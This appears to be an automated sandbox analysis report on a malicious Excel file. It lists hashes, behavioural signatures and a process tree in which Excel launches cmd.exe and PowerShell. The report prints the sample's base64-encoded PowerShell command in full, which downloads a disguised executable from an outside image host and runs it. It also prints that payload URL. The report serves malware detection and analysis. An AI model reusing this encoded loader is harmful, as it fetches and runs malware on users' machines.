Analysis
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max time kernel
33s -
max time network
37s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
20-05-2024 07:50
Behavioral task
behavioral1
Sample
3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9.xls
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9.xls
Resource
win10v2004-20240426-en
General
-
Target
3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9.xls
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Size
92KB
-
MD5
7261eb1a46516d618aa41406e782da1e
-
SHA1
9d979ddb6a4a1b607661d5570df2826b3a3c662f
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SHA256
3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9
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SHA512
4e52052ea1f5d71d1377c71346e36b9d4352a4e0a0a462d932a6defb88e4a929eb5a224486f8148a212270a95b6e48774397db9fa39551b571ea571012966afe
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SSDEEP
1536:Qk3hOdsylKlgryzc4bNhZFGzE+cL2knAfiCaikW3ixhZFaRRGjx0BT0TR0SHx/Ua:Qk3hOdsylKlgryzc4bNhZFGzE+cL2knt
Malware Config
Extracted
http://i.cubeupload.com/1MDiPJ.jpg
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 532 2776 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 24 3280 powershell.exe 25 3280 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2776 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3280 powershell.exe 3280 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3280 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
EXCEL.EXEpid process 2776 EXCEL.EXE 2776 EXCEL.EXE 2776 EXCEL.EXE 2776 EXCEL.EXE 2776 EXCEL.EXE 2776 EXCEL.EXE 2776 EXCEL.EXE 2776 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 2776 wrote to memory of 532 2776 EXCEL.EXE cmd.exe PID 2776 wrote to memory of 532 2776 EXCEL.EXE cmd.exe PID 532 wrote to memory of 3280 532 cmd.exe powershell.exe PID 532 wrote to memory of 3280 532 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\SYSTEM32\cmd.execmd & /K CD C: & PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:532 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3280
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82